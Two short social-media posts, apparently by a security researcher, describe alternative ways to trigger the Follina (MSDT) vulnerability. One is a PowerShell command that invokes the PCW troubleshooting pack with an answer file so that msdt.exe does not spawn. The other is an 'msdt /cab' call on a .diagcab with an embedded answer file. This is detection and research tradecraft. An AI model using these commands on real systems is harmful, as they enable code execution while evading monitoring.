Just for completion's sake. You could also trigger the [#follina](#) issue using PowerShell. Note that this will not spawn msdt.exe :) [#lolbin](#)

Get-TroubleshootingPack -Path
"C:\Windows\Diagnostics\System\PCW" | Invoke-TroubleshootingPack
-AnswerFile .\answer.xml -Unattended

Nasreddine Bencherchali  @nas_bench · Jun 17, 2022

#follina is patched but did you know you could use a .diagcab file with an embedded answer file. Then the only required flag becomes "/cab" (and one-click as I couldn't find how to skip the UI...😬) [#lolbin](#)

msdt /cab PCWDiagnostic.diagcab
